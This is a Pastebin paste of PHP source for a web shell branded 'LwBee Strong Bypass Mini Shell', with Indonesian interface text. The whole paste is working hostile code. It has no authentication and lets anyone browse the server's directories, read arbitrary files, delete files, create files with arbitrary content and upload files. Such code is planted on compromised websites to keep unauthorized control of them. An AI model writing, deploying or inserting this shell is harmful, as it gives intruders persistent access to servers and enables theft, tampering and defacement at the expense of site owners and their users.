Advertisement
b3gund4L

bpshell1

Feb 27th, 2025
238
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.48 KB | None | 0 0
  1. <?php
  2. function scanDirectory($path) {
  3.     $items = [];
  4.     if (is_dir($path)) {
  5.         $scan = scandir($path);
  6.         foreach ($scan as $item) {
  7.             if ($item !== '.' && $item !== '..') {
  8.                 $fullPath = $path . DIRECTORY_SEPARATOR . $item;
  9.                 $items[] = [
  10.                     'name' => $item,
  11.                     'path' => $fullPath,
  12.                     'type' => is_dir($fullPath) ? 'directory' : 'file'
  13.                 ];
  14.             }
  15.         }
  16.     }
  17.     usort($items, function($a, $b) {
  18.         if ($a['type'] === 'directory' && $b['type'] !== 'directory') return -1;
  19.         if ($a['type'] !== 'directory' && $b['type'] === 'directory') return 1;
  20.         return strcasecmp($a['name'], $b['name']);
  21.     });
  22.     return $items;
  23. }
  24.  
  25. function generateBreadcrumb($path) {
  26.     $parts = explode(DIRECTORY_SEPARATOR, trim($path, DIRECTORY_SEPARATOR));
  27.     $breadcrumb = [];
  28.     $currentPath = '';
  29.     foreach ($parts as $part) {
  30.         $currentPath .= DIRECTORY_SEPARATOR . $part;
  31.         $breadcrumb[] = '<a href="?path=' . urlencode($currentPath) . '">' . htmlspecialchars($part) . '</a>';
  32.     }
  33.     return implode(' / ', $breadcrumb);
  34. }
  35.  
  36. $defaultRootPath = getcwd();
  37. $rootPath = $_GET['path'] ?? $defaultRootPath;
  38.  
  39. if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['delete_path'])) {
  40.     $deletePath = $_POST['delete_path'];
  41.     if (file_exists($deletePath)) {
  42.         unlink($deletePath);
  43.         echo "<div class='alert alert-success'>File berhasil dihapus: <strong>" . htmlspecialchars($deletePath) . "</strong></div>";
  44.     } else {
  45.         echo "<div class='alert alert-danger'>File tidak ditemukan atau tidak dapat dihapus.</div>";
  46.     }
  47. }
  48.  
  49. if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['filename'])) {
  50.     $path = $_POST['path'] ?? $rootPath;
  51.     $filename = $_POST['filename'] ?? '';
  52.     $content = $_POST['content'] ?? '';
  53.    
  54.     if (!empty($path) && !empty($filename)) {
  55.         $filePath = rtrim($path, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $filename;
  56.         file_put_contents($filePath, $content);
  57.         echo "<div class='alert alert-success'>File berhasil dibuat di: <strong>" . htmlspecialchars($filePath) . "</strong></div>";
  58.     } else {
  59.         echo "<div class='alert alert-danger'>Path dan nama file tidak boleh kosong.</div>";
  60.     }
  61. }
  62.  
  63. if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file_upload'])) {
  64.     $uploadPath = $_POST['upload_path'] ?? $rootPath;
  65.    
  66.     if (!empty($uploadPath) && is_dir($uploadPath)) {
  67.         $fileName = basename($_FILES['file_upload']['name']);
  68.         $targetFile = rtrim($uploadPath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $fileName;
  69.        
  70.         if (move_uploaded_file($_FILES['file_upload']['tmp_name'], $targetFile)) {
  71.             echo "<div class='alert alert-success'>File berhasil diunggah ke: <strong>" . htmlspecialchars($targetFile) . "</strong></div>";
  72.         } else {
  73.             echo "<div class='alert alert-danger'>Gagal mengunggah file.</div>";
  74.         }
  75.     } else {
  76.         echo "<div class='alert alert-danger'>Path tidak valid atau tidak ditemukan.</div>";
  77.     }
  78. }
  79.  
  80. if (isset($_GET['view_file'])) {
  81.     $filePath = $_GET['view_file'];
  82.     if (file_exists($filePath) && is_file($filePath)) {
  83.         $fileContent = htmlspecialchars(file_get_contents($filePath));
  84.         echo "<div class='alert alert-info'><strong>" . htmlspecialchars($filePath) . "</strong></div>";
  85.         echo "<pre class='file-content'>$fileContent</pre>";
  86.     } else {
  87.         echo "<div class='alert alert-danger'>File tidak ditemukan atau tidak dapat dibuka.</div>";
  88.     }
  89. }
  90.  
  91. $scannedItems = scanDirectory($rootPath);
  92. ?>
  93.  
  94. <!DOCTYPE html>
  95. <html lang="en">
  96. <head>
  97.     <meta charset="UTF-8">
  98.     <meta name="viewport" content="width=device-width, initial-scale=1.0">
  99.     <title>@LwBee Strong Bypass</title>
  100.     <style>
  101.     * {
  102.         box-sizing: border-box;
  103.     }
  104.  
  105.     body {
  106.         font-family: Arial, sans-serif;
  107.         background-color: #362e2e;
  108.         color: #ffffff;
  109.         margin: 0;
  110.         padding: 0 20px;
  111.     }
  112.  
  113.     h2 {
  114.         color: #ffffff;
  115.         text-align: center;
  116.     }
  117.  
  118.     .alert {
  119.         padding: 20px;
  120.         margin-bottom: 15px;
  121.         border-radius: 5px;
  122.         text-align: center;
  123.     }
  124.  
  125.     .alert-success {
  126.         background-color: #1b5e20;
  127.         color: #a5d6a7;
  128.     }
  129.  
  130.     .alert-danger {
  131.         background-color: #b71c1c;
  132.         color: #ff8a80;
  133.     }
  134.  
  135.     .breadcrumb a {
  136.         color: #64b5f6;
  137.         text-decoration: none;
  138.     }
  139.  
  140.     .breadcrumb a:hover {
  141.         text-decoration: underline;
  142.     }
  143.  
  144.     .file-list li {
  145.         list-style: none;
  146.         background: #302f2f;
  147.         padding: 10px;
  148.         margin: 10px 0;
  149.         border-radius: 5px;
  150.         display: flex;
  151.         justify-content: space-between;
  152.         align-items: center;
  153.     }
  154.  
  155.     button {
  156.         background-color: #39ff14;
  157.         color: #000000;
  158.         border: none;
  159.         border-radius: 5px;
  160.         padding: 10px 20px;
  161.         cursor: pointer;
  162.         font-weight: bold;
  163.     }
  164.  
  165.     button:hover {
  166.         background-color: #32e014;
  167.     }
  168.  
  169.     input[type="file"], input[type="text"], textarea {
  170.         width: 100%;
  171.         padding: 10px;
  172.         margin: 10px 0;
  173.         border: 1px solid #444;
  174.         border-radius: 5px;
  175.         background-color: #1e1e1e;
  176.         color: #ffffff;
  177.     }
  178.  
  179.     textarea {
  180.         resize: none;
  181.         height: 100px;
  182.     }
  183.  
  184.     .form-upload, .form-create, .form-manager, .header, .footer {
  185.         background-color: #1e1e1e;
  186.         padding: 20px;
  187.         border-radius: 5px;
  188.         box-shadow: 0 2px 10px rgba(0,0,0,0.5);
  189.         margin-bottom: 20px;
  190.     }
  191.  
  192.     ul.file-list {
  193.         padding: 0;
  194.     }
  195.  
  196.     .file-info {
  197.         display: flex;
  198.         align-items: center;
  199.         flex: 1;
  200.     }
  201.  
  202.     .file-info strong {
  203.         margin-right: 10px;
  204.     }
  205.  
  206.     .file-content {
  207.         background-color: #1e1e1e;
  208.         padding: 20px;
  209.         border-radius: 5px;
  210.         white-space: pre-wrap;
  211.         border: 1px solid #444;
  212.         font-family: 'Courier New', Courier, monospace;
  213.         font-size: 14px;
  214.         max-height: 400px;
  215.         overflow-y: auto;
  216.         color: #ffffff;
  217.     }
  218.    
  219.     /* Warna khusus untuk link directory */
  220.     a[href*="?path="] {
  221.         color: #1a8a2c !important;
  222.     }
  223.  
  224. </style>
  225. </head>
  226. <body>
  227. <div class="header">
  228. <h2>LwBee Strong Bypass Mini Shell</h2>
  229. </div>
  230.  
  231. <div class="form-upload">
  232.     <h3>Upload File</h3>
  233.     <form action="" method="post" enctype="multipart/form-data">
  234.         <input type="file" name="file_upload" required>
  235.         <input type="hidden" name="upload_path" value="<?php echo htmlspecialchars($rootPath); ?>">
  236.         <button type="submit">Upload File</button>
  237.     </form>
  238. </div>
  239.  
  240. <div class="form-create">
  241.     <h3>Create New File</h3>
  242.     <form action="" method="post">
  243.         <input type="text" name="path" placeholder="Path" value="<?php echo htmlspecialchars($rootPath); ?>" required>
  244.         <input type="text" name="filename" placeholder="Filename" required>
  245.         <textarea name="content" placeholder="File content"></textarea>
  246.         <button type="submit">Create File</button>
  247.     </form>
  248. </div>
  249.  
  250. <div class="form-manager">
  251. <ul class="file-list">
  252. <div class="breadcrumb">
  253.     <h3>Path: <?php echo generateBreadcrumb($rootPath); ?></h3>
  254.     <hr>
  255. </div>
  256.     <?php foreach ($scannedItems as $item): ?>
  257.         <li>
  258.         <div class="file-info">
  259.             <strong><?php echo $item['type'] === 'directory' ? '[Dir]' : '[File]'; ?></strong>
  260.             <?php if ($item['type'] === 'directory'): ?>
  261.                 <a href="?path=<?php echo urlencode($item['path']); ?>"> <?php echo htmlspecialchars($item['name']); ?></a>
  262.             <?php else: ?>
  263.                 <a href="?path=<?php echo urlencode($rootPath); ?>&view_file=<?php echo urlencode($item['path']); ?>"> <?php echo htmlspecialchars($item['name']); ?></a>
  264.             <?php endif; ?>
  265.             <?php if ($item['type'] === 'file'): ?>
  266.         </div>
  267.                 <form action="" method="post" style="display: inline;">
  268.                     <input type="hidden" name="delete_path" value="<?php echo htmlspecialchars($item['path']); ?>">
  269.                     <button type="submit">Hapus</button>
  270.                 </form>
  271.             <?php endif; ?>
  272.         </li>
  273.     <?php endforeach; ?>
  274. </ul>
  275. </div>
  276. <div class="footer">
  277. <h4 style="text-align: center;">LwBee Bypass Šī¸ 2024
  278. </div>
  279. </body>
  280. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement